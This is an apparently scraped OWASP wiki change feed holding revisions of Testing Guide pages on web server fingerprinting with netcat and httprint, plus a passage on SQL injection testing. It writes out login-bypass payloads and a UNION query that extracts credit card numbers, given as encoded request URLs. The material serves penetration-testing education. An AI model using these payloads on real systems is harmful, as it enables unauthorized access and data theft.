Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Microsoft IIS 5,0''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Expires: Yours, 17 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Date: Mon, 16 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT &lt;br /&gt;
ETag: b0aac0542e25c31: 89d &lt;br /&gt;
Content-Length: 7369 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
From a '''Netscape Enterprise 4,1''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:19: 04 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This testing methodology however is not so good. There are several techniques that allow to obfuscate or to modify the server banner string.&lt;br /&gt;
For example we could obtain the following answer:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
403 HTTP/1.1 &lt;br /&gt;
Forbidden Date: Mon, 16 Jun 2003 02:41: 27 GMT &lt;br /&gt;
Server: Unknown-Webserver/1.0 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML; &lt;br /&gt;
charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this case the server field of that response is obfuscated: we cannot know what type of web server is running.&lt;br /&gt;
&lt;br /&gt;
== Protocol behaviour == &lt;br /&gt;
Refined techniques of testing take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.&lt;br /&gt;
&lt;br /&gt;
=== HTTP header field ordering === &lt;br /&gt;
The first method consists in observing the ordering of the several headers in the response. Every web server has just an inner ordering of the header. We consider the following answers as an example:&lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:01: 40 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise and IIS.&lt;br /&gt;
&lt;br /&gt;
=== Malformed requests test === &lt;br /&gt;
Another useful test to execute consists in sending  malformed requests to the server, or requests of nonexistent pages.&lt;br /&gt;
We consider the following HTTP response: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:12: 37 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Connection: close &lt;br /&gt;
Transfer: chunked &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 505 HTTP Version Not Supported &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:04: 04 GMT &lt;br /&gt;
Content-length: 140 &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We notice that every server answers in a different way. The answer differs also by the version of the server. An analogous issue comes if we create requests with a not existing protocol. Consider the following responses: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:17: 47 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 34 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt; &lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt; &lt;br /&gt;
Your browser sent to query this serveur could not understand. &lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Automated Testing == &lt;br /&gt;
The tests to carry out can be several. A tool that automates these tests is &amp;quot;''httprint''&amp;quot; that allows, through a signature dictionary, to recognize the type and the version of the web server in use.&amp;lt;br&amp;gt;&lt;br /&gt;
An example of such tool is shown below:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:httprint.jpg]]&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13307</id>
		<title>Testing for Web Application Fingerprint (OWASP-IG-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13307"/>
				<updated>2006-11-19T16:59:58Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Web server fingerprinting is a critical task for prenetration tester. For example if the tester knowns what version and type of web server are running it can search vulnerabilities and know exploits.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. &lt;br /&gt;
Cosider the following Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 202.41.76.251 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 16 Jun 2003 02:53:29 GMT&lt;br /&gt;
Server: Apache/1.3.3 (Unix)  (Red Hat/Linux)&lt;br /&gt;
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT&lt;br /&gt;
ETag: &amp;quot;1813-49b-361b4df6&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Content-Length: 1179&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
$&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
from the ''Server'' field we understand that the server is Apache, version 1.3.3, running on Linux operating system.&lt;br /&gt;
Three examples of the HTTP response header are shown below:&lt;br /&gt;
&lt;br /&gt;
From an '''Apache 1.3.23''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Microsoft IIS 5,0''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Expires: Yours, 17 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Date: Mon, 16 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT &lt;br /&gt;
ETag: b0aac0542e25c31: 89d &lt;br /&gt;
Content-Length: 7369 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
From a '''Netscape Enterprise 4,1''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:19: 04 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This testing methodology however is not so good. Several techniques exist that allow to obfuscate or to modify the server banner string.&lt;br /&gt;
For example we could obtain the following answer:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
403 HTTP/1.1 &lt;br /&gt;
Forbidden Date: Mon, 16 Jun 2003 02:41: 27 GMT &lt;br /&gt;
Server: Unknown-Webserver/1.0 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML; &lt;br /&gt;
charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
the server field of that response is obfuscated than we cannot know what type of web server is running.&lt;br /&gt;
&lt;br /&gt;
== Protocol behaviour == &lt;br /&gt;
Refined techniques of testing take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.&lt;br /&gt;
&lt;br /&gt;
=== HTTP header field ordering === &lt;br /&gt;
The first method consists in observing the ordering of the several headers in the response. Every web server has just an inner ordering of the header. We consider the following answers as an example:&lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:01: 40 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise and IIS.&lt;br /&gt;
&lt;br /&gt;
=== Malformed requests test === &lt;br /&gt;
Another useful test to execute consists in sending  malformed requests to the server, or requests of nonexistent pages.&lt;br /&gt;
We consider the following HTTP response: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:12: 37 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Connection: close &lt;br /&gt;
Transfer: chunked &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 505 HTTP Version Not Supported &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:04: 04 GMT &lt;br /&gt;
Content-length: 140 &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We notice that every server answers in a different way. The answer differs also by the version of the server. An analogous issue comes if we create requests with a not existing protocol. Consider the following responses: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:17: 47 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 34 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt; &lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt; &lt;br /&gt;
Your browser sent to query this serveur could not understand. &lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
== Automated Testing == &lt;br /&gt;
The tests to carry out can be several, a tool that automates these tests is &amp;quot;''httprint''&amp;quot; that allows, through a signature dictionary, to recognize the type and the version of the web server in use.&amp;lt;br&amp;gt;&lt;br /&gt;
An example of such tool is shown below:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:httprint.jpg]]&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://net-square.com/httprint/httprint_paper.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
httprint - http://net-square.com/httprint/index.shtml&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Httprint.jpg&amp;diff=13306</id>
		<title>File:Httprint.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Httprint.jpg&amp;diff=13306"/>
				<updated>2006-11-19T16:51:46Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: httprint example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;httprint example&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12832</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12832"/>
				<updated>2006-11-15T23:02:59Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists of insertion or &amp;quot;injection&amp;quot; of an SQL query via the input data from the client to the application.&amp;lt;BR&amp;gt; &lt;br /&gt;
A successful sql injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS) or recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential. The inband type uses the same channel of the attack in order to receive the information, &lt;br /&gt;
the out-of-band type uses an external channel. &lt;br /&gt;
The channel used for the attack to receive the information (for example taking advantage of other protocols of communication, e.g. smtp protocol) and the inferential uses inferential methods for obtaining the required value. We can find a sql injection vulnerability in general by observing particular error messages returned by the application. However in some cases the application is written in such way that returns one customized error page. In this case we have a Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parenthesis and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until we obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. The value of the fields Username and Password regarding the previous example will be modified according the following:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Testing ===&lt;br /&gt;
Another test to carry out, involves the use of the UNION operation. Through such operation it is possible, in case of Sql Injection, to join a query, purposely forged from the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
